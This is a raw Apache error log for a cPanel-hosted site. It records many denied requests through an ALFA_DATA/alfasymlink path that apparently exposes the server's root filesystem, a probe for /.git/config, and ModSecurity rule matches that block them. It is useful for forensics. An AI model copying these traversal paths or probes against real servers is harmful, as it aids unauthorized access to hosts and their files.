[Sun Oct 25 02:57:46.170665 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 52.4.76.156:20054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/drivers/hardware_error_device/unbind
[Sun Oct 25 02:57:48.994811 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.6:55942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/elevate-cpanel
[Sun Oct 25 02:57:54.201918 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.157.99.244:60564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:57:58.271330 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 44.223.116.180:7883] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:58:03.540148 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 98.82.66.172:22291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:58:06.333030 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 52.3.156.186:5503] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/uevent
[Sun Oct 25 02:58:18.198745 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 34.227.234.246:5280] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:58:22.896820 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 85.208.96.206:18194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/partial
[Sun Oct 25 02:58:34.371044 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 85.208.96.210:44002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-2k/min_partial
[Sun Oct 25 02:58:46.318783 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.212.205.90:32135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:58:53.465987 2026] [core:crit] [pid 2781480:tid 2781480] (13)Permission denied: [client 66.132.172.202:41630] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 02:59:10.342924 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 85.208.96.209:26456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_inode/destroy_by_rcu
[Sun Oct 25 02:59:22.161998 2026] [security2:error] [pid 2775684:tid 2775684] [client 18.233.24.238:35231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/4/"] [unique_id "at2oyganevcJbML2UkvndQAAAAU"]
[Sun Oct 25 02:59:22.162043 2026] [security2:error] [pid 2775684:tid 2775684] [client 18.233.24.238:35231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/4/"] [unique_id "at2oyganevcJbML2UkvndQAAAAU"]
[Sun Oct 25 02:59:50.139399 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 34.227.156.153:32633] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/node0/memory20/subsystem/drivers_probe
[Sun Oct 25 02:59:51.489511 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 16.216.88.124:28672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/domain_remote_mx_ips.cdb
[Sun Oct 25 02:59:52.362064 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.12:24912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/jbd2/sections/__jump_table
[Sun Oct 25 02:59:54.204644 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.212.219.113:28291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:00:02.232979 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.54.95.127:54002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:00:06.144989 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.93.253.174:61428] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:00:10.306260 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 23.22.105.143:43921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/resource4
[Sun Oct 25 03:00:22.148408 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 44.221.227.90:27516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:00:30.255019 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.221.50.71:20359] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:00:32.230726 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 185.191.171.4:27476] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/poison
[Sun Oct 25 03:00:34.228585 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 44.205.120.22:16088] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:00:38.291726 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 100.29.164.178:25786] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:00:54.180554 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 18.235.81.246:58763] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:00:54.430427 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 185.191.171.7:44340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/alloc_calls
[Sun Oct 25 03:01:02.214417 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.207.47.227:23539] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:01:06.214208 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 3.218.103.254:14564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:04/physical_node/resource1
[Sun Oct 25 03:01:10.150080 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 107.20.224.184:34327] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:01:19.337498 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 3.218.103.254:13651] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/drivers/hardware_error_device/uevent
[Sun Oct 25 03:01:37.463402 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 85.208.96.202:23422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/shrink
[Sun Oct 25 03:01:42.166571 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 54.210.152.179:21510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/QEMU0002:00/physical_node/driver/uevent
[Sun Oct 25 03:01:46.203178 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.204.12.115:42248] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:01:50.187621 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 100.25.120.246:40483] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:03.0/firmware_node/physical_node/resource0
[Sun Oct 25 03:01:58.194839 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 100.29.128.75:35295] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/remove_id
[Sun Oct 25 03:02:02.161799 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 54.147.238.89:49727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:02:10.166253 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.221.50.71:11309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:02:14.173586 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.213.46.222:46447] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:02:18.259017 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 35.174.141.243:31187] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:02:27.488487 2026] [authz_core:error] [pid 2781480:tid 2781480] [client 220.181.108.81:50352] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 03:02:30.152339 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 98.82.38.120:60451] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:02:31.013104 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 185.191.171.4:24294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/cpu_partial
[Sun Oct 25 03:02:34.130504 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.213.213.161:30906] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:02:38.135388 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 34.194.165.45:24476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:02:41.737731 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 185.191.171.4:36404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/min_partial
[Sun Oct 25 03:02:46.214776 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.84.93.8:23469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:02:47.995597 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 185.191.171.14:10510] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:02:50.163197 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 52.3.156.186:32059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:02:54.143357 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.207.47.227:49401] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:03:17.966759 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 185.191.171.18:52852] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/free_calls
[Sun Oct 25 03:03:20.269217 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 85.208.96.193:26566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/destroy_by_rcu
[Sun Oct 25 03:03:21.929726 2026] [security2:error] [pid 2781481:tid 2781481] [client 49.51.204.74:44320] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/databaseok1.php"] [unique_id "at2puS7GhhaIo05efijCcQAAAAc"]
[Sun Oct 25 03:03:42.174988 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 98.82.38.120:41555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:04:06.143990 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.204.62.163:61089] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:04:22.147059 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.210.114.189:52029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:04:26.409461 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 54.85.126.86:40353] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/firmware_node/physical_node/resource0_wc
[Sun Oct 25 03:04:38.150002 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 35.171.117.160:59635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/hpet/bind
[Sun Oct 25 03:04:46.130520 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.235.158.19:41585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:04:54.127651 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.204.150.196:19375] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:04:58.120771 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 54.84.161.62:7782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:03/firmware_node/physical_node/subsystem/uevent
[Sun Oct 25 03:04:59.084791 2026] [authz_core:error] [pid 2781524:tid 2781524] [client 162.55.129.246:39730] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 03:05:10.158566 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.204.37.237:31337] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:05:38.178985 2026] [ssl:error] [pid 2781480:tid 2781480] (22)Invalid argument: [client 52.21.62.139:37044] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:05:46.255492 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.21.62.139:18667] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:05:54.157687 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.147.80.137:5104] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:06:02.345088 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 34.225.24.180:37232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:06:06.134495 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 52.200.58.199:15188] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:06:10.139009 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 34.195.248.30:61743] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:06:31.512974 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 185.191.171.5:52314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/objects_partial
[Sun Oct 25 03:06:34.128233 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 3.220.148.166:45553] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/device:1c/eject
[Sun Oct 25 03:06:38.194727 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.213.46.222:52552] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:06:50.015718 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 216.244.66.250:45158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/x86_64-redhat-linux-c++
[Sun Oct 25 03:06:50.192290 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 34.239.197.197:33994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/input5/event4/subsystem/input1/device/driver/uevent
[Sun Oct 25 03:06:54.142958 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 44.209.35.147:13631] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:07:14.145030 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.223.116.180:26177] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:07:18.141497 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 44.194.134.53:47535] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:07:20.533653 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 216.244.66.250:40306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/initramfs-4.18.0-553.58.1.el8_10.x86_64.img
[Sun Oct 25 03:07:22.161814 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 52.203.68.145:13490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/input5/device/driver/unbind
[Sun Oct 25 03:07:26.147698 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.94.156.104:49422] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:07:30.149876 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 52.71.203.206:16584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input5/device/subsystem/devices/pcspkr/driver/unbind
[Sun Oct 25 03:07:34.207516 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 52.45.77.169:41242] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:07:38.273226 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.206.212.24:18681] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:07:39.382815 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.16:44300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kcare/parameters/patch_sig_enforce
[Sun Oct 25 03:07:41.198487 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 85.208.96.204:32252] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-192/cpu_slabs
[Sun Oct 25 03:07:50.153890 2026] [security2:error] [pid 2775672:tid 2775672] [client 54.167.32.123:28026] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:11/power/"] [unique_id "at2qxsqduxFlyzJhl1wD-gAAAAA"]
[Sun Oct 25 03:07:50.153929 2026] [security2:error] [pid 2775672:tid 2775672] [client 54.167.32.123:28026] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:11/power/"] [unique_id "at2qxsqduxFlyzJhl1wD-gAAAAA"]
[Sun Oct 25 03:08:18.251894 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.84.93.8:37411] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:08:28.539561 2026] [authz_core:error] [pid 2781030:tid 2781030] [client 216.244.66.250:33820] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Sun Oct 25 03:08:30.254257 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.80.185.200:58558] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:08:58.151131 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 52.6.5.24:53624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:09:02.279865 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.91.122.193:16342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:09:06.137117 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.218.103.254:34928] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:09:22.225033 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.215.221.125:63196] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:09:26.258716 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 50.17.193.48:16422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/close_delay
[Sun Oct 25 03:09:46.250978 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 35.171.141.42:4057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:10:02.385993 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 23.21.179.27:61365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:10:10.172415 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 18.232.36.1:26829] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/subsystem/drivers/battery/unbind
[Sun Oct 25 03:10:13.481176 2026] [security2:error] [pid 2775712:tid 2775712] [client 147.185.133.123:49855] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/"] [unique_id "at2rVQLaiqtlZaJBsx4XLwAAAA0"]
[Sun Oct 25 03:10:14.133657 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 54.159.98.248:29365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:10:34.143294 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.73.142.41:15844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:10:42.143340 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 98.82.40.168:5177] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:03.0/driver/0000:00:04.0/resource0
[Sun Oct 25 03:10:50.144655 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 23.23.104.107:16651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:10:54.147749 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.216.86.144:17372] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:11:02.151064 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 98.83.10.183:45988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:11:04.999748 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 85.208.96.198:36930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/slab_size
[Sun Oct 25 03:11:18.132276 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.90.73.206:46498] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:11:20.996741 2026] [security2:error] [pid 2775672:tid 2775672] [client 136.90.117.94:46960] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2rmMqduxFlyzJhl1wEAgAAAAA"]
[Sun Oct 25 03:11:20.997015 2026] [security2:error] [pid 2775672:tid 2775672] [client 136.90.117.94:46960] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2rmMqduxFlyzJhl1wEAgAAAAA"]
[Sun Oct 25 03:11:20.997247 2026] [security2:error] [pid 2775672:tid 2775672] [client 136.90.117.94:46960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2rmMqduxFlyzJhl1wEAgAAAAA"]
